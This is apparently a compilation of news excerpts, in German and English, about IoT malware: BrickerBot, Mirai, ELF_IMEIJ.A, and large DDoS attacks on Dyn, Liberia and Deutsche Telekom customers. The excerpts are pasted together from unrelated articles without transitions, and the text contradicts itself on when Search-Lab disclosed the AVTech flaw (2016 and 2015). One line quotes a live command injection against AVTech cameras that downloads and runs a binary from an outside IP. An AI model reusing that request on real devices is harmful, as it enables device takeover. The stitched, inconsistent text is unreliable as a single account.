INTERNET OF THINGS:

Bricker Bot soll 2 Millionen IoT-Geräte zerstört haben
Wie weit darf der Kampf gegen unsichere IoT-Geräte gehen? Diese Frage wird spätestens seit Aufkommen der Bricker-Bot-Software diskutiert. Der mutmaßliche Entwickler sagt: Ich habe 2 Millionen unsichere Geräte aus dem Netz entfernt.

Der Kampf gegen unsichere IoT-Geräte im Netz geht weiter: Sicherheitsforscher haben in den vergangenen Tagen erneut Aktivitäten des sogenannten Bricker Bots beobachtet - eine umstrittene Software, die unsicher konfigurierte Internet-of-Things-Geräte im Netz aufspürt und unschädlich machen soll, damit diese nicht in Botnetzen wie Mirai eingesetzt werden können.

Trend Micro is reporting a new threat to Linux-based Internet of Things (IoT) devices that is specifically able to exploit a specific vulnerability in surveillance cameras made by AVTech.
The threat is called ELF_IMEIJ.A and was originally uncovered by Search-Lab in October 2016 and reported to AVTech. Trend Micro said Search-Labs did not received a response regarding the issue.

Much like Mirai, ELF_IMEIJ.A the malware searches for unprotected IoT devices, in this case a camera.
The attacker uses cgi-bin scripts to randomly ping IP addresses searching for a device that is vulnerable.

“Specifically, it exploits CloudSetup.cgi, the reported AVTech CGI Directory vulnerability, to execute a command injection that triggers the malware download. The attacker tricks the device into downloading the malicious file and changes the file's permissions to execute it locally,” Trend wrote.

Search-Labs noted that every user password for the AVTech products is stored in clear text and that an attacker with access to the device itself can easily obtain the full list of passwords.
“By exploiting command injection or authentication bypass issues, the clear text admin password can be retrieved,” Search-Labs initial report on the malware stated.

A new form of Linux malware is hijacking Internet of Things (IoT) devices made by one vendor by exploiting a common gateway interface (CGI) vulnerability.

The ARM malware, detected by security software firm Trend Micro as "ELF_IMEIJ.A," arrives in requests for information (RFI) in CGI bin scripts. Upon delivery, the remote attacker sends the following request to random IP addresses:

POST /cgi-bin/supervisor/CloudSetup.cgi?exefile=wget -O /tmp/Arm1 http://192.154.108.2:8080/Arm1;chmod 0777 /tmp/Arm1;/tmp/Arm1; HTTP/1.1

Why, you might ask?

ELF_IMEIJ.A is looking to exploit an authenticated command injection vulnerability in devices made by AVTECH, a CCTV manufacturer, that specifically support CloudSetup.CGI.

Researchers at Search-Lab first discovered this vulnerability (along with several others) back in October 2015.

The problem is that there is not whitelist-based checking or verification for the exefile parameter of a CloudSetup.cgi, which specifies the system command to be executed. This bug therefore allows attackers to execute arbitrary commands with root privileges.

The Trojan tries to authenticate over different protocols with factory default credentials and, if successful, deploys the Mirai bot.

Attackers have started to use Windows and Android malware to hack into embedded devices, dispelling the widely held belief that if such devices are not directly exposed to the Internet they're less vulnerable.

This new Trojan found by Doctor Web, dubbed Trojan.Mirai.1, shows that attackers can also use compromised computers to target IoT devices that are not directly accessible from the internet.

Infected smartphones can be used in a similar way. Researchers from Kaspersky Lab have already found an Android app designed to perform brute-force password guessing attacks against routers over the local network.

WHEN THE BOTNET named Mirai first appeared in September, it announced its existence with dramatic flair. After flooding a prominent security journalist’s website with traffic from zombie Internet of Things devices, it managed to make much of the internet unavailable for millions of people by overwhelming Dyn, a company that provides a significant portion of the US internet’s backbone. Since then, the number attacks have only increased. What’s increasingly clear is that Mirai is a powerfully disruptive force. What’s increasingly not? How to stop it.

Mirai is a type of malware that automatically finds Internet of Things devices to infect and conscripts them into a botnet—a group of computing devices that can be centrally controlled. From there this IoT army can be used to mount distributed denial of service (DDoS) attacks in which a firehose of junk traffic floods a target’s servers with malicious traffic. In just the past few weeks, Mirai disrupted internet service for more than 900,000 Deutsche Telekom customers in Germany, and infected almost 2,400 TalkTalk routers in the UK. This week, researchers published evidence that 80 models of Sony cameras are vulnerable to a Mirai takeover.

Attack could be a warm-up for a larger scale disruption during US election

A massive cyber attack has brought down Liberia's entire internet network, using the same Mirai botnet that knocked a number of US sites offline last month. 

In a series of attacks over the course of this week, hackers have been able to take advantage of Liberia's basic internet infrastructure to intermittently take down websites.

Although the identity of the attackers remains unclear, the hacks made use of the botnet known as Mirai, the same one that targeted domain name system provider Dyn, leaving millions unable to access sites like Github, Reddit, Twitter, Spotify across the US and Europe last month.

Are the Days of “Booter” Services Numbered?

It may soon become easier for Internet service providers to anticipate and block certain types of online assaults launched by Web-based attack-for-hire services known as “booter” or “stresser” services, new research released today suggests.

The findings come from researchers in Germany who’ve been studying patterns that emerge when miscreants attempt to mass-scan the entire Internet looking for systems useful for launching these digital sieges — known as “distributed denial-of-service” or DDoS attacks.

In its 2017 malware forecast, SophosLabs warned that attackers would increasingly target devices connected to the Internet of Things (IoT) – everything from webcams to internet-connecting household appliances. Late last week, we saw another example of how the trend is playing out.

Security vendor Radware warned that malware called BrickerBot is in the wild, designed to brick IoT devices by damaging their storage capability and scrambling kernel parameters. The company detected two versions of the malware in its honeypot servers – BrickerBot.1 and BrickerBot.2. The first attacks were detected March 20, targeting Linux-based IoT devices running the BusyBox toolkit. The honeypot recorded 1,895 PDoS (Permanent Denial of Service) attempts by BrickerBot from several locations around the world over four days.

To block the attack, Radware recommended users:

Change the device’s factory default credentials.
Disable Telnet access to the device.
Network Behavioral Analysis can detect anomalies in traffic and combine with automatic signature generation for protection.
User/Entity behavioral analysis (UEBA) to spot granular anomalies in traffic early.
An IPS should block Telnet default credentials or reset telnet connections. Use a signature to detect the provided command sequences.

Researchers have uncovered a rash of ongoing attacks designed to damage routers and other Internet-connected appliances so badly that they become effectively inoperable.

PDoS attack bots (short for "permanent denial-of-service") scan the Internet for Linux-based routers, bridges, or similar Internet-connected devices that require only factory-default passwords to grant remote administrator access. Once the bots find a vulnerable target, they run a series of highly debilitating commands that wipe all the files stored on the device, corrupt the device's storage, and sever its Internet connection. Given the cost and time required to repair the damage, the device is effectively destroyed, or bricked, from the perspective of the typical consumer.

Over a four-day span last month, researchers from security firm Radware detected roughly 2,250 PDoS attempts on devices they made available in a specially constructed honeypot. The attacks came from two separate botnets—dubbed BrickerBot.1 and BrickerBot.2—with nodes for the first located all around the world. BrickerBot.1 eventually went silent, but even now the more destructive BrickerBot.2 attempts a log-on to one of the Radware-operated honeypot devices roughly once every two hours. The bots brick real-world devices that have the telnet protocol enabled and are protected by default passwords, with no clear sign to the owner of what happened or why.

IoT botnets have transformed the threat landscape, resulting in a big increase in the size of DDoS attacks from 500Gbps in 2015 up to 800Gbps last year.

Hackers have been able to "weaponise" digital video recorders, webcams and other IoT devices due to inherent security vulnerabilities, according to the DDoS mitigation firm Arbor Networks.

The release of the Mirai botnet source code has enabled the launch of extremely large attacks, such as the high-profile assault on DNS provider Dyn in October that rendered numerous well-known websites inaccessible for hours on end. The massive growth in DDoS capabilities has been driven by increased attack activity on all reflection/amplification protocols. DDoS barrages are not only getting bigger but are also becoming more frequent and complex, with multi-vector attacks becoming increasingly commonplace.

Das Internet der Dinge (IoT) sorgt mal wieder für eine skurrile Sicherheitslücke: Diesmal haben Forscher einen Wurm programmiert, der von einer Philips-Hue-Birne zur anderen springt und diese mit bösartiger Firmware bespielt.

One of the largest distributed denial-of-service attacks happened this week and almost nobody noticed.

Since the cyberattack on Dyn two weeks ago, the internet has been on edge, fearing another massive attack that would throw millions off the face of the web. The attack was said to be upwards of 1.1 Tbps -- more than double the attack a few weeks earlier on security reporter Brian Krebs' website, which was about 620 Gbps in size, said to be one of the largest at the time. The attack was made possible by the Mirai botnet, an open-source botnet that anyone can use, which harnesses the power of insecure Internet of Things devices.

This week, another Mirai botnet, known as Botnet 14, began targeting a small, little-known African country, sending it almost entirely offline each time.

Security researcher Kevin Beaumont, who was one of the first to notice the attacks and wrote about what he found, said that the attack was one of the largest capacity botnets ever seen.
